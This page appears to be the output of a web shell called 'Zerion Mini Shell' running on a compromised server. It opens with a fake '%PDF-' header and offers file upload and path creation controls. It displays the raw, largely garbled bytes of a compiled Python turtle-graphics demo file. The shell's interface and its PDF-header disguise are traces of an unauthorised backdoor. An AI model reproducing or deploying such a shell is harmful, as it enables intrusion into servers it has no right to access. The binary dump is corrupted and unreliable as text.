%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/turtledemo/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/turtledemo/__pycache__/bytedesign.cpython-38.pyc

U

q©ßaœã@sXdZddlmZmZddlmZGdd„deƒZdd„Ze	dkrTeƒZ
ee
ƒeƒd	S)
aÓ      turtle-example-suite:

        tdemo_bytedesign.py

An example adapted from the example-suite
of PythonCard's turtle graphics.

It's based on an article in BYTE magazine
Problem Solving with Logo: Using Turtle
Graphics to Redraw a Design
November 1982, p. 118 - 134

-------------------------------------------

Due to the statement

t.delay(0)

in line 152, which sets the animation delay
to 0, this animation runs in "line per line"
mode as fast as possible.
é)ÚTurtleÚmainloop)Úperf_counterc@sTeZdZdd„Zdd„Zdd„Zdd„Zd	d
„Zdd„Zd
d„Z	dd„Z
dd„ZdS)ÚDesignercCs¼| ¡tdƒD]J}| d|¡| ¡| | ¡|¡| ¡| d|¡| d¡q| ¡| |¡| d¡| d|¡| d¡| ¡| 	d|d|¡| 
¡ d	¡dS)
Négš™™™™)P@éHé$g€8@éÆé.gÍÌÌÌÌìa@T)ÚupÚrangeÚforwardÚdownÚwheelÚpositionÚbackwardÚrightÚgotoÚcenterpieceÚ	getscreenÚtracer)ÚselfZhomePosÚscaleÚi©rú1/usr/local/lib/python3.8/turtledemo/bytedesign.pyÚdesign s 


zDesigner.designcCs¸| d¡tdƒD]}| ||¡q| ¡| d¡tdƒD]}| ||¡q>| d¡tdƒD]:}| ¡| d¡| d|¡| ¡| d|¡qb| d¡| 	¡ 
¡dS)Né6érrré)rrÚ	pentpiecerÚleftÚtripiecer
rrrÚupdate)rÚinitposrrrrrr2s 




zDesigner.wheelcCs¦| ¡}| ¡| d|¡| d||¡| ¡| |¡| |¡| ¡| d|¡| d||¡| ¡| |¡| |¡| d¡| 	¡ 
¡dS)Ng@g€?@r)ÚheadingrrÚtripolyrrrÚ
setheadingÚtripolylr!rr#)rr$rÚoldhrrrr"Ds




zDesigner.tripiececCsþ| ¡}| ¡| d|¡| ¡tdƒD]}| d|¡| d¡q.| d|d|¡| ¡| |¡| |¡| d|¡| ¡tdƒD]}| d|¡| d¡q˜| 	d|d|¡| ¡| |¡| |¡| 
d¡| ¡ ¡dS)NéréréK)
r%rr
rrrÚpentrrr'Úpentlr!rr#)rr$rr)rrrrr Us,




zDesigner.pentpiececCs>|d|krdS| |¡| |¡| |d|||¡dS©NégR¸…ëQØ?)r
r!r.©rÚsideZangrrrrr.ms


zDesigner.pentlcCs>|d|krdS| |¡| |¡| |d|||¡dSr/)r
rr-r1rrrr-ss


zDesigner.pentrcCsh|d|krdS| |¡| d¡| |d¡| d¡| |d¡| d¡| |d|¡dS©Nréog{®Gázü?gÍÌÌÌÌÌô?é’gè?)r
rr&©rr2rrrrr&ys



zDesigner.tripolyrcCsh|d|krdS| |¡| d¡| |d¡| d¡| |d¡| d¡| |d|¡dSr3)r
r!r(r6rrrr(ƒs



zDesigner.tripolylcCs>| |¡| |¡|d|kr$dS| |d|||¡dS)Ng@g333333ó?)r
r!r)rÚsÚarrrrrs


zDesigner.centerpieceN)Ú__name__Ú
__module__Ú__qualname__rrr"r r.r-r&r(rrrrrrs

rcCs\tƒ}| d¡| ¡| ¡ d¡| ¡ d¡tƒ}| | ¡d¡tƒ}d||S)Nrr0zruntime: %.2f sec.)	rZspeedZ
hideturtlerÚdelayrÚclockrr)ÚtZatÚetrrrÚmain“s
r@Ú__main__N)Ú__doc__ZturtlerrÚtimerr=rr@r9ÚmsgÚprintrrrrÚ<module>su

Zerion Mini Shell 1.0